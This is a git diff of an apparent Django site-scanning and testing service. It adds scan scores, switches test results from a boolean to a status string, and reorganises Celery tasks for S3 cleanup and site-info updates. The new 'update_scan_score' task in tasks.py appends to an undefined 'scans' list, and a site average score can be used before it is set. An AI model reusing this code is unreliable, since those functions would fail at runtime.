+    # waiting for tasks to complete
+    while tasks > 0:
+        time.sleep(10)
+        tasks = get_task_list()
 
         
\ No newline at end of file
diff --git a/app/api/management/commands/wait_for_db.py b/app/api/management/commands/wait_for_db.py
index c5edb897..def8f534 100644
--- a/app/api/management/commands/wait_for_db.py
+++ b/app/api/management/commands/wait_for_db.py
@@ -3,8 +3,13 @@
 from django.db.utils import OperationalError
 from django.core.management import BaseCommand
 
+
+
+
+
+
+# Django command to pause execution until db is available
 class Command(BaseCommand):
-    """Django command to pause execution until db is available"""
 
     def handle(self, *args, **options):
         self.stdout.write('Waiting for database...')
diff --git a/app/api/models.py b/app/api/models.py
index d836840b..a275773e 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -369,6 +369,7 @@ class Scan(models.Model):
     html = models.CharField(max_length=5000, serialize=True, null=True, blank=True)
     logs = models.JSONField(serialize=True, null=True, blank=True)
     images = models.JSONField(serialize=True, null=True, blank=True)
+    score = models.FloatField(serialize=True, null=True, blank=True)
     lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default)
     yellowlab = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_default)
     configs = models.JSONField(serialize=True, null=True, blank=True)
@@ -432,11 +433,11 @@ class Testcase(models.Model):
     user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    case_name = models.CharField(max_length=1000, null=True, blank=True, serialize=True)
+    case_name = models.CharField(max_length=500, null=True, blank=True, serialize=True) 
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(null=True, blank=True, serialize=True)
-    passed = models.BooleanField(default=False, serialize=True)
+    status = models.CharField(max_length=20, default='working', null=True, blank=True, serialize=True) 
     steps = models.JSONField(serialize=True, null=True, blank=True)
     configs = models.JSONField(serialize=True, null=True, blank=True)
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 6df7f880..545e9a90 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -234,6 +234,202 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
 
 
 
+@shared_task(bind=True, base=BaseTaskWithRetry)
+def update_site_and_page_info(
+        self,
+        resource: str='all',
+        site_id: str=None, 
+        page_id: str=None,
+    ) -> None:
+    """ 
+    Updates the site and or page `latest_scan` & `latest_test` info 
+    depending on scope.
+
+    Expects: {
+        "resource" : str (OPTIONAL),
+        "site_id"  : str (OPTIONAL),
+        "page_id"  : str (OPTIONAL)
+    }
+
+    Returns -> None
+    """
+
+    # defaults
+    site = None
+    page = None
+    pages = []
+    scans = []
+    tests = []
+    latest_test = None
+    latest_scan = None
+
+    # get associated site
+    if site_id:
+        site = Site.objects.get(id=site_id)
+        pages = Page.objects.filter(site=site)
+    
+    # get associated page
+    if page_id:
+        page = Page.objects.get(id=page_id)
+        site = page.site
+        pages = Page.objects.filter(site=site)
+    
+    # get latest tests & scans of pages
+    for p in pages:
+
+        if Test.objects.filter(page=p).exists() and \
+            (resource == 'test' or resource == 'all'):
+            _test = Test.objects.filter(page=p).exclude(
+                time_completed=None
+            ).order_by('-time_completed')
+            if len(_test) > 0:
+                if _test[0].score:
+                    # add to tests[]
+                    tests.append(_test[0].score)
+                    # update latest_test
+                    latest_test = _test[0]
+        
+        if Scan.objects.filter(page=p).exists()and \
+            (resource == 'scan' or resource == 'all'):
+            _scan = Scan.objects.filter(page=p).exclude(
+                time_completed=None
+            ).order_by('-time_completed')
+            if len(_scan) > 0:
+                if _scan[0].score:
+                    # add to scans[]
+                    scans.append(_scan[0].score)
+                    # update latest_scan
+                    latest_scan = _scan[0]
+        
+        # update single page if passed
+        if page:
+            
+            # checking if current p is page
+            if page == p:
+
+                # latest_scan info
+                if latest_scan:
+                    page.info['latest_scan']['id'] = str(latest_scan.id)
+                    page.info['latest_scan']['time_created'] = str(latest_scan.time_created)
+                    page.info['latest_scan']['time_completed'] = str(latest_scan.time_completed)
+                    page.info['latest_scan']['score'] = latest_scan.score
+                    page.info['lighthouse'] = latest_scan.lighthouse.get('scores')
+                    page.info['yellowlab'] = latest_scan.yellowlab.get('scores')
+                else:
+                    page.info['latest_scan']['id'] = None
+                    page.info['latest_scan']['time_created'] = None
+                    page.info['latest_scan']['time_completed'] = None
+                    page.info['latest_scan']['score'] = None
+                    page.info['lighthouse'] = None
+                    page.info['yellowlab'] = None
+
+
+                # latest_test info
+                if latest_test:
+                    page.info['latest_test']['id'] = str(latest_test.id)
+                    page.info['latest_test']['time_created'] = str(latest_test.time_created)
+                    page.info['latest_test']['time_completed'] = str(latest_test.time_completed)
+                    page.info['latest_test']['score'] = (round(latest_test.score * 100) / 100)
+                    page.info['latest_test']['status'] = latest_test.status
+                else:
+                    page.info['latest_test']['id'] = None
+                    page.info['latest_test']['time_created'] = None
+                    page.info['latest_test']['time_completed'] = None
+                    page.info['latest_test']['score'] = None
+                    page.info['latest_test']['status'] = None
+
+                # save page
+                page.save()
+    
+    # update site with new scan info
+    if len(scans) > 0:
+        # calc site average of latest_scan.score
+        site_avg_scan_score = round((sum(scans)/len(scans)) * 100) / 100
+        print(f'updating site with new scan score -> {site_avg_scan_score}')
+
+    # latest_scan info
+    if latest_scan:
+        site.info['latest_scan']['id'] = str(latest_scan.id)
+        site.info['latest_scan']['time_created'] = str(latest_scan.time_created)
+        site.info['latest_scan']['time_completed'] = str(latest_scan.time_completed)
+        site.info['latest_scan']['score'] = latest_scan.score
+        site.info['lighthouse'] = latest_scan.lighthouse.get('scores')
+        site.info['yellowlab'] = latest_scan.yellowlab.get('scores')
+    else:
+        site.info['latest_scan']['id'] = None
+        site.info['latest_scan']['time_created'] = None
+        site.info['latest_scan']['time_completed'] = None
+        site.info['latest_scan']['score'] = None
+        site.info['lighthouse'] = None
+        site.info['yellowlab'] = None
+
+    # update site with new test info
+    if len(tests) > 0:
+        
+        # calc site average of latest_test.score
+        site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
+        print(f'updating site with new test score -> {site_avg_test_score}')
+        
+    # update site info
+    if latest_test:
+        site.info['latest_test']['id'] = str(latest_test.id)
+        site.info['latest_test']['time_created'] = str(latest_test.time_created)
+        site.info['latest_test']['time_completed'] = str(latest_test.time_completed)
+        site.info['latest_test']['score'] = site_avg_test_score
+        site.info['latest_test']['status'] = latest_test.status
+    else:
+        site.info['latest_test']['id'] = None
+        site.info['latest_test']['time_created'] = None
+        site.info['latest_test']['time_completed'] = None
+        site.info['latest_test']['score'] = None
+        site.info['latest_test']['status'] = None
+
+    # save info
+    site.save()
+    
+    return None
+
+
+
+
+@shared_task(bind=True, base=BaseTaskWithRetry)
+def update_scan_score(self, scan_id: str) -> None:
+    """ 
+    Method to calculate the average health score and update 
+    for the passed scan_id
+
+    Expects: {
+        'scan_id': str
+    }
+
+    Returns -> None
+    """
+    
+    # setting defaults
+    score = None
+    scores = []
+    scan = Scan.objects.get(id=scan_id)
+
+    # get latest scan scores
+    if scan.lighthouse['scores']['average'] is not None:
+        scans.append(scan.lighthouse['scores']['average'])
+    if scan.yellowlab['scores']['globalScore'] is not None:
+        scans.append(scan.yellowlab['scores']['globalScore'])
+    
+    # calc average score
+    if len(scores) > 0:
+        score = sum(scores)/len(scores)
+
+    # save to scan
+    scan.score = score
+    scan.save()
+        
+    # returning scan
+    return None
+
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def scan_page_bg(
         self, 
@@ -980,222 +1176,6 @@ def create_report_bg(*args, **kwargs) -> None:
 
 
 
-@shared_task
-def delete_site_s3_bg(site_id: str) -> None:
-    """
-    Deletes the directory in s3 bucked associated 
-    with passed site
-
-    Expects: {
-        'site_id': str
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
-    except:
-        pass
-
-    logger.info('Deleted site s3 objects')
-    return None
-
-
-
-
-@shared_task
-def delete_page_s3_bg(page_id: str, site_id: str) -> None:
-    """
-    Deletes the directory in s3 bucked associated 
-    with passed page
-
-    Expects: {
-        'site_id': str,
-        'page_id': str
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
-    except:
-        pass
-    
-    logger.info('Deleted page s3 objects')
-    return None
-
-
-
-
-@shared_task
-def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None:
-    """
-    Deletes the directory in s3 bucked associated 
-    with passed scan
-
-    Expects: {
-        'scan_id': str,
-        'site_id': str,
-        'page_id': str
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
-    except:
-        pass
-    
-    logger.info('Deleted scan s3 objects')
-    return None
-
-
-
-
-@shared_task
-def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None:
-    """
-    Deletes the directory in s3 bucked associated 
-    with passed test
-
-    Expects: {
-        'test_id': str,
-        'site_id': str,
-        'page_id': str
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
-    except:
-        pass
-    
-    logger.info('Deleted test s3 objects')
-    return None
-
-
-
-
-@shared_task
-def delete_testcase_s3_bg(testcase_id: str) -> None:
-    """
-    Deletes the directory in s3 bucked associated 
-    with passed test
-
-    Expects: {
-        'testcase_id': str,
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
-    except:
-        pass
-
-    logger.info('Deleted testcase s3 objects')
-    return None
-
-
-
-
-@shared_task
-def delete_report_s3_bg(report_id: str) -> None:
-    """
-    Deletes the file in s3 bucked associated 
-    with passed report
-
-    Expects: {
-        'report_id': str,
-    }
-
-    Returns -> None
-    """
-
-    # get site
-    site = Report.objects.get(id=report_id).site
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
-    except:
-        pass
-
-    logger.info('Deleted Report pdf in s3')
-    return None
-
-
-
-
-@shared_task
-def delete_case_s3_bg(case_id: str) -> None:
-    """
-    Deletes the file in s3 bucked associated 
-    with passed case_id
-
-    Expects: {
-        'case_id': str,
-    }
-
-    Returns -> None
-    """
-
-    # deleting s3 objects
-    try:
-        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/cases/{case_id}/')).delete()
-    except:
-        pass
-
-    logger.info('Deleted Case step data in s3')
-    return None
-
-
-
-
-@shared_task
-def purge_logs(username: str=None) -> None:
-    """ 
-    Deletes all `Logs` associated with the passed "username".
-    If "username" is None, deletes all `Logs`.
-
-    Expects: {
-        'username': str
-    }
-
-    Returns -> None
-    """
-
-    # delete logs
-    if username:
-        user = User.objects.get(username=username)
-        Log.objects.filter(user=user).delete()
-    else:
-        Log.objects.all().delete()
-
-    logger.info('Purged logs')
-    return None
-
-
-
-
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_auto_cases_bg(
         self, 
@@ -1361,13 +1341,13 @@ def create_testcase_bg(*args, **kwargs) -> None:
                 step['action']['time_created'] = None
                 step['action']['time_completed'] = None
                 step['action']['exception'] = None
-                step['action']['passed'] = None
+                step['action']['status'] = None
 
             if step['assertion']['type'] != None:
                 step['assertion']['time_created'] = None
                 step['assertion']['time_completed'] = None
                 step['assertion']['exception'] = None
-                step['assertion']['passed'] = None
+                step['assertion']['status'] = None
 
     # adding updates
     if steps:
@@ -1440,6 +1420,222 @@ def create_testcase_bg(*args, **kwargs) -> None:
 
 
 
+@shared_task
+def delete_site_s3_bg(site_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed site
+
+    Expects: {
+        'site_id': str
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete()
+    except:
+        pass
+
+    logger.info('Deleted site s3 objects')
+    return None
+
+
+
+
+@shared_task
+def delete_page_s3_bg(page_id: str, site_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed page
+
+    Expects: {
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
+    except:
+        pass
+    
+    logger.info('Deleted page s3 objects')
+    return None
+
+
+
+
+@shared_task
+def delete_scan_s3_bg(scan_id: str, site_id: str, page_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed scan
+
+    Expects: {
+        'scan_id': str,
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
+    except:
+        pass
+    
+    logger.info('Deleted scan s3 objects')
+    return None
+
+
+
+
+@shared_task
+def delete_test_s3_bg(test_id: str, site_id: str, page_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed test
+
+    Expects: {
+        'test_id': str,
+        'site_id': str,
+        'page_id': str
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
+    except:
+        pass
+    
+    logger.info('Deleted test s3 objects')
+    return None
+
+
+
+
+@shared_task
+def delete_testcase_s3_bg(testcase_id: str) -> None:
+    """
+    Deletes the directory in s3 bucked associated 
+    with passed test
+
+    Expects: {
+        'testcase_id': str,
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete()
+    except:
+        pass
+
+    logger.info('Deleted testcase s3 objects')
+    return None
+
+
+
+
+@shared_task
+def delete_report_s3_bg(report_id: str) -> None:
+    """
+    Deletes the file in s3 bucked associated 
+    with passed report
+
+    Expects: {
+        'report_id': str,
+    }
+
+    Returns -> None
+    """
+
+    # get site
+    site = Report.objects.get(id=report_id).site
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete()
+    except:
+        pass
+
+    logger.info('Deleted Report pdf in s3')
+    return None
+
+
+
+
+@shared_task
+def delete_case_s3_bg(case_id: str) -> None:
+    """
+    Deletes the file in s3 bucked associated 
+    with passed case_id
+
+    Expects: {
+        'case_id': str,
+    }
+
+    Returns -> None
+    """
+
+    # deleting s3 objects
+    try:
+        bucket = s3().Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+        bucket.objects.filter(Prefix=str(f'static/cases/{case_id}/')).delete()
+    except:
+        pass
+
+    logger.info('Deleted Case step data in s3')
+    return None
+
+
+
+
+@shared_task
+def purge_logs(username: str=None) -> None:
+    """ 
+    Deletes all `Logs` associated with the passed "username".
+    If "username" is None, deletes all `Logs`.
+
+    Expects: {
+        'username': str
+    }
+
+    Returns -> None
+    """
+
+    # delete logs
+    if username:
+        user = User.objects.get(username=username)
+        Log.objects.filter(user=user).delete()
+    else:
+        Log.objects.all().delete()
+
+    logger.info('Purged logs')
+    return None
+
+
+
+
 @shared_task
 def reset_account_usage(account_id: str=None) -> None:
     """ 
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 30a5d391..6cfc5b87 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -213,12 +213,18 @@ def create_exp(item: object=None, automation: object=None) -> dict:
         if 'test_score' in e['data_type']:
             title = 'Test Score'
             data = str(round(item.score, 2))
-        if 'test_status' in e['data_type']:
+        elif 'test_status' in e['data_type']:
             status = '❌ FAILED'
             if item.status == 'passed':
                 status = '✅ PASSED'
             title = 'Test Status'
             data = status
+        elif 'testcase_status' in e['data_type']:
+            status = '❌ FAILED'
+            if e['value'] == 'passed':
+                status = '✅ PASSED'
+            title = f'"{item.case.name}"'
+            data = status
         elif 'current_health' in e['data_type']:
             title = 'Health'
             data = str(
@@ -360,14 +366,6 @@ def create_exp(item: object=None, automation: object=None) -> dict:
         elif 'logs' in e['data_type']:
             title = 'Error Logs'
             data = str(len(item.logs))
-
-        # testcase data
-        elif 'testcase' in e['data_type']:
-            status = '❌ FAILED'
-            if e['value'] == 'True':
-                status = '✅ PASSED'
-            title = f'"{item.case.name}"'
-            data = status
         
         # create data string
         data_str = f' {title}:   {data}\n'
@@ -580,9 +578,6 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
 
     # check if data is present
     if email and automation_id:
-        
-        # retrieving user
-        user = User.objects.get(email=email)
 
         # get automation 
         automation = Automation.objects.get(id=automation_id)
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index 4e9398b2..07885c5b 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -90,14 +90,14 @@ def build_exp_list(self) -> None:
             data_type = None
             operator = ' == '
             joiner = ''
-            data_type = 'self.object.passed'
-            value = f"str({str(expression['value'])})"
+            data_type = 'self.object.status'
+            value = f"str('{str(expression['value'])}')"
 
             # getting data
             if self.object:
                 
                 # get comparison value
-                if self.automation.schedule.task_type != 'testcase' and expression['data_type'] != 'test_status':
+                if expression['data_type'] != 'testcase_status' and expression['data_type'] != 'test_status':
                     value = str(float(re.search(r'\d+', str(expression['value'])).group()))
 
                 # get operator
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index ae179d28..b8937d74 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -4,7 +4,7 @@
 from selenium.webdriver.common.by import By
 from selenium.webdriver.common.keys import Keys
 from ..models import * 
-from datetime import datetime
+from datetime import datetime, timezone
 from asgiref.sync import sync_to_async
 from scanerr import settings
 
@@ -97,28 +97,28 @@ def __init__(
 
     def update_testcase(
             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
-            passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
+            status: str=None, exception: str=None, time_completed: str=None, image: str=None,
         ) -> None:
         # updates Tescase for a selenium run (async) 
         if start_time != None:
             self.testcase.steps[index][type]['time_created'] = str(start_time)
         if end_time != None:
             self.testcase.steps[index][type]['time_completed'] = str(end_time)
-        if passed != None:
-            self.testcase.steps[index][type]['passed'] = passed
+        if status != None:
+            self.testcase.steps[index][type]['status'] = status
         if exception != None:
             self.testcase.steps[index][type]['exception'] = str(exception)
         if image != None:
             self.testcase.steps[index][type]['image'] = str(image)
         if time_completed != None:
             self.testcase.time_completed = time_completed
-            test_status = True
+            test_status = 'passed'
             for step in self.testcase.steps:
-                if step['action']['passed'] == False:
-                    test_status = False
-                if step['assertion']['passed'] == False:
-                    test_status = False
-            self.testcase.passed = test_status
+                if step['action']['status'] == 'failed':
+                    test_status = 'failed'
+                if step['assertion']['status'] == 'failed':
+                    test_status = 'failed'
+            self.testcase.status = test_status
         
         self.testcase.save()
         return
@@ -397,10 +397,10 @@ def run(self) -> None:
 
             if step['action']['type'] == 'navigate':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='action', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
 
                 try:
@@ -419,12 +419,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -432,10 +432,10 @@ def run(self) -> None:
 
             if step['action']['type'] == 'scroll':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='action', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
 
                 try:
@@ -451,12 +451,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -464,10 +464,10 @@ def run(self) -> None:
 
             if step['action']['type'] == 'click':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='action', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
 
                 try:
@@ -496,12 +496,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -509,10 +509,10 @@ def run(self) -> None:
 
             if step['action']['type'] == 'change':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='action', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
                 
                 try:
@@ -542,12 +542,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -555,10 +555,10 @@ def run(self) -> None:
 
             if step['action']['type'] == 'keyDown':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='action', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
                 
                 try:
@@ -597,12 +597,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -610,10 +610,10 @@ def run(self) -> None:
 
             if step['assertion']['type'] == 'match':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='assertion', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
 
                 try:
@@ -650,12 +650,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='assertion', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -663,10 +663,10 @@ def run(self) -> None:
 
             if step['assertion']['type'] == 'exists':
                 exception = None
-                passed = True
+                status = 'passed'
                 self.update_testcase(
                     index=i, type='assertion', 
-                    start_time=datetime.now()
+                    start_time=datetime.now(timezone.utc)
                 )
 
                 try:
@@ -692,12 +692,12 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
-                    passed = False
+                    status = 'failed'
 
                 self.update_testcase(
                     index=i, type='assertion', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
+                    end_time=datetime.now(timezone.utc), 
+                    status=status, 
                     exception=exception,
                     image=image
                 )
@@ -705,12 +705,12 @@ def run(self) -> None:
             i += 1  
 
         self.update_testcase(
-            time_completed=datetime.now()
+            time_completed=datetime.now(timezone.utc)
         )
         quit_driver(driver=self.driver)
         print('-- testcase run complete --')
         
-        if not self.testcase.passed and self.testcase.configs.get('create_issue'):
+        if self.testcase.status == 'failed' and self.testcase.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(testcase=self.testcase).build_issue()
         
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index f6454361..597a0884 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -180,10 +180,45 @@ def scan_vrt(self, driver: object=None) -> list:
         # defining browser demesions
         sizes = self.scan.configs.get('window_size', '1920,1080').split(',')
 
-        # getting full_page_height
+        # calculating and suto setting page height
         if self.scan.configs.get('auto_height', True):
-            full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
-            driver.set_window_size(int(sizes[0]), int(full_page_height))
+
+            # get scroll_height, client_height & set window_size
+            scroll_height = driver.execute_script("return document.documentElement.scrollHeight;")
+            client_height = driver.execute_script("return document.documentElement.clientHeight;")
+
+            # trying to match "document.body.clientHeight" 
+            # and "document.body.scrollHeight"
+            # iterate 3 times or untill height_diff is less than 20
+            i = 0
+            success = False
+            while not success and i < 4:
+
+                # set window_size
+                driver.set_window_size(int(sizes[0]), (int(scroll_height)))
+                
+                # scroll down and up
+                driver.execute_script(f"window.scrollBy(0, {scroll_height});")
+                time.sleep(1)
+                driver.execute_script(f"window.scrollBy(0, -{scroll_height});")
+                
+                # get client & new scroll height
+                client_height = driver.execute_script("return document.documentElement.clientHeight;")
+                new_scroll_height = driver.execute_script("return document.documentElement.scrollHeight;")
+
+                # get difference between full page height and new scrolled position
+                height_diff = int(new_scroll_height) - int(client_height)
+
+                # re-set window size
+                print(f'adding {height_diff} to full_page_height')
+                scroll_height += height_diff if height_diff > 0 else 0
+
+                # checking difference
+                if height_diff < 20:
+                    success = True
+
+                # increment
+                i += 1
 
 
         if self.scan.configs.get('disable_animations') == True:
@@ -231,8 +266,8 @@ def scan_vrt(self, driver: object=None) -> list:
             if self.check_timeout(self.scan.configs.get('timeout', 300), start_time):
                 break
 
-            # scroll single frame
-            if index != 0:
+            # scroll single frame if not first frame and not auto_height
+            if index != 0 and not self.scan.configs.get('auto_height', True):
                 driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
                 time.sleep(int(self.scan.configs.get('min_wait_time', 10)))
 
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 28b1497b..ac659bf7 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -83,11 +83,11 @@ def build_issue(self):
             step_type = 'action'
             for step in self.testcase.steps:
                 step_index += 1
-                if step['action']['passed'] == False:
+                if step['action']['status'] == 'failed':
                     failed_step = step
                     step_type = 'action'
                     break
-                if step['assertion']['passed'] == False:
+                if step['assertion']['status'] == 'failed':
                     failed_step = step
                     step_type = 'assertion'
                     break
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 2034ff21..af0d64a4 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -115,6 +115,9 @@ def build_scan(self) -> object:
         self.scan.time_completed = datetime.now()
         self.scan.save()
 
+        # update Scan.score
+        update_scan_score(self.scan)
+
         # updating Site and Page objects
         update_page_info(self.scan)
         update_site_info(self.scan)
@@ -125,6 +128,42 @@ def build_scan(self) -> object:
 
 
 
+def update_scan_score(scan: object) -> object:
+    """ 
+    Method to calculate the average health score and update 
+    for the passed scan
+
+    Expects: {
+        'scan': object
+    }
+
+    Returns -> `Scan` <obj>
+    """
+    
+    # setting defaults
+    score = None
+    scores = []
+
+    # get latest scan scores
+    if scan.lighthouse['scores']['average'] is not None:
+        scores.append(scan.lighthouse['scores']['average'])
+    if scan.yellowlab['scores']['globalScore'] is not None:
+        scores.append(scan.yellowlab['scores']['globalScore'])
+    
+    # calc average score
+    if len(scores) > 0:
+        score = sum(scores)/len(scores)
+
+    # save to scan
+    scan.score = score
+    scan.save()
+        
+    # returning scan
+    return scan
+
+
+
+
 def update_site_info(scan: object) -> object:
     """ 
     Method to update associated Site with the new Scan data
@@ -137,7 +176,8 @@ def update_site_info(scan: object) -> object:
     """
     
     # setting defaults
-    score = 0
+    score = None
+    scores = []
     site = scan.site
     pages = Page.objects.filter(site=site)
 
@@ -145,17 +185,13 @@ def update_site_info(scan: object) -> object:
     scans = []
     for page in pages:
         if Scan.objects.filter(page=page).exists():
-            _scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
-            if _scan.lighthouse['scores']['average'] is not None:
-                scans.append(_scan.lighthouse['scores']['average'])
-            if _scan.yellowlab['scores']['globalScore'] is not None:
-                scans.append(_scan.yellowlab['scores']['globalScore'])
+            scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
+            if scan.score:
+                scores.append(scan.score)
     
     # calc average score
